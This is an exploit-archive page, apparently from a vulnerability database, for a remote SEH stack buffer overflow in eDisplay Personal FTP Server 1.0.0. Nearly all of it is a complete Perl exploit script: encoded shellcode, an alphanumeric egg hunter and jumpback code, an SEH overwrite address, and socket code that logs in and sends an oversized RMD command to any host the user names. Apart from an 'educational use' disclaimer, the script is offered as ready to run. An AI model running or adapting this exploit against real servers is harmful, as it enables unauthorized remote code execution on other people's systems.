eDisplay Personal FTP Server 1.0.0 post-authentication stack buffer overflow

2010.03.23

Credit: corelanc0d3r

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-119

# Exploit Title : eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF
# Type of sploit: Remote Code Execution
# Bug found by  : loneferret  (march 19, 2010)
# Reference     : http://www.exploit-db.com/exploits/11810
# Exploit date  : March 20, 2010
# Author        : corelanc0d3r
# Version       : 1.0.0
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox) 
# Type of vuln  : SEH
# Greetz to     : loneferret, dookie2000ca and of course my friends at Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# ----------------------------------------------------------------------------------------------------
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
# ----------------------------------------------------------------------------------------------------
#
# Before we begin : if you liked my quickzip.exe exploit
# then you will certainly love this one too :-)
#
# ----------------------------------------------------------------------------------------------------
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "      --==[ Exploit for eDisplay Personal FTP Server 1.0.0]==-- \n";
print "            Author : corelanc0d3r\n\n";


use IO::Socket; 
if ($#ARGV ne 3) { 
print "  usage: $0 <targetip> <targetport> <user> <password>\n"; 
exit(0); 
} 

my $user=$ARGV[2];
my $pass=$ARGV[3];

print " [+] Preparing payload\n";
#basereg edi - custom MessageBox payload
my $sc = "w00tw00t".
"WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABX".
"P8ABuJIn98kMKn9QdEtJTTqzrNRcJUaXI54lKBQfPLKPv".
"VlnkqfGlLKW6THLKQngPlKP6FXpOtXD5ZSryeQ8QKO8aa".
"pLKPlututNkW5WLLKSdUUcHS1yznk3zvxlK1J5pwqxkZC".
"P7qYLKP4NkFa8ndqkOUayPkLNLNdKppt4JJaXOTMfaJgI".
"yxqKOKOKO7KSLwT6HPuINNkcjGTuQzKBFLK6lpKNkcj7l".
"faJKLKVdLKC1KXk9QTEtULSQksnRtHwYXTk9kUOyKrCXl".
"NpNfnxl62kXOlKOio9ok9ReUTMk3NiHKR3CowuLUtPRjH".
"LKKOkOiooyW5WxCXrLBLQ0KOqxFSWBVNCTU8qeT3CUT2M".
"XclvD6joyivQFKOsevdoyYRRpOKoXLbPMMlOw5LDdrrjH".
"qNKO9o9oPhTn6NfNV8phdp0dEcSBU8BLCQrNcSqxPcrOR".
"RSUtqKkmX1LTdtONiysrHTnVNqHUp3Xq0gK4i6N3XBGSQ".
"1ypnphSYsDUppaQxsTqycTEpTqxImXPLtdFrMYkQP1Zrs".
"b3cPQrrkOn0DqIPbpKOQEeXA";

#custom encoded egg hunter
#boy I love pvefindaddr !
# !pvefindaddr encode ascii <bytes>
#I only had to fix bad chars
#but we need 5C to trigger SEH at correct offset
my $decoder=
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x2E\x5D\x55\x5D".
"\x2D\x2D\x5D\x55\x5D".
"\x2D\x30\x5E\x55\x5D".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x70\x2D\x5C\x6F".  #we need these 5C's !!
"\x2D\x70\x2C\x5C\x6F".  #we need these 5C's !!
"\x2D\x71\x30\x5D\x71".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x45\x2E\x23\x56".
"\x2D\x45\x2D\x23\x56".
"\x2D\x46\x30\x2E\x59".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x5B\x6C\x2D\x45".
"\x2D\x5B\x6C\x2D\x45".
"\x2D\x5B\x6E\x2D\x45".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x41\x53\x37\x2E".
"\x2D\x41\x53\x37\x2D".
"\x2D\x42\x54\x37\x30".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x54\x37\x66\x45".
"\x2D\x54\x37\x66\x45".
"\x2D\x56\x39\x66\x46".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x50\x3F\x39\x31".
"\x2D\x50\x3F\x39\x31".
"\x2D\x51\x3F\x3B\x33".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x33\x2A\x67\x55".
"\x2D\x33\x2A\x67\x55".
"\x2D\x34\x2A\x67\x55".
"\x50".
"\x75\x58"; #jump to decoded opcode


my $buffer = "A" x 45;
my $pad=("D" x 30);
my $nseh= "\x61\x42\x42\x42";
my $seh=pack('V',0x202D2B3C);   #comctl32.ocx 0x202D2B3C
#encoded jumpback code to jump to encoded egg hunter
#pfew that's a mouthful
my $jumpback="\x50\x5c";
$jumpback=$jumpback."\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x55\x55\x55\x5E".
"\x2D\x55\x55\x55\x5E".
"\x2D\x56\x55\x56\x60".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2D\x2A\x5C\x59\x54".
"\x2D\x2A\x5C\x59\x54".
"\x2D\x2B\x5D\x59\x56".
"\x50";
my $rest = "A" x (1000 - length($buffer.$nseh.$seh.$decoder.$pad.$sc.$jumpback)-20-5);
#align eax first
my $aligneax="\x52\x58\x2d\x35\x55\x55\x55\x2d\x35\x55\x55\x55\x2d\x35\x55\x55\x55";
my $payload=$buffer."CCCCCCCCCCCCCCCCCC".$decoder.$pad.$nseh.$seh."BBB".$aligneax.$jumpback.$rest.$sc;
print " [+] Connecting to server $ARGV[0] on port $ARGV[1]\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], 
                              PeerPort => $ARGV[1], 
                              Proto    => 'tcp'); 

$ftp = <$sock> || die " [!] *** Unable to connect ***\n"; 
print "   ** $ftp";
print " [+] Logging in (user $user)\n";
print $sock "USER $user\r\n"; 
$ftp = <$sock>;
print "   ** $ftp";
print $sock "PASS $pass\r\n"; 
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Sending payload (" . length($payload)." bytes)\n";
print $sock "RMD ".$payload."\r\r\n";
print $sock "QUIT\r\n";

print " [+] Shellcode size : " . length($sc)." bytes\n";

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

eDisplay Personal FTP Server 1.0.0 post-authentication stack buffer overflow

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.